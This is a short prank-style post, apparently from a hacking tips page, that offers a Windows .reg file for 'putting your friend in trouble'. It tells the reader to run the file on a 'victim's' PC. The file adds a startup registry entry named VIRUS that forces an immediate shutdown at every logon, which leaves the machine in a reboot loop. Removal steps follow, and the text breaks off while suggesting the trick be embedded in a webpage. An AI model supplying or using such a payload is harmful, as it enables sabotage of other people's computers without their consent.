Wanns Put your freind in trouble ??

Got any problem with your friend got to make them pay here is an easy way, but never use it unless it is necessary.
put this following text in a .reg file and run it in the victims pc:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]"VIRUS"="%windir%\\SYSTEM32\\SHUTDOWN.EXE -t 1 -c \"Howz this new Virus ah\" -f"

DONT PUT IT IN your COMPUTER, I AM NOT RESPONSIBLE, if it happens, to you,
start windows in safe mode, and open registry editor by typing
REGEDIT in start->run. navigate to
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
and remove the string value named VIRUS,
restart you computer.
You can also put this in a javascript code,
just add this code to your webpage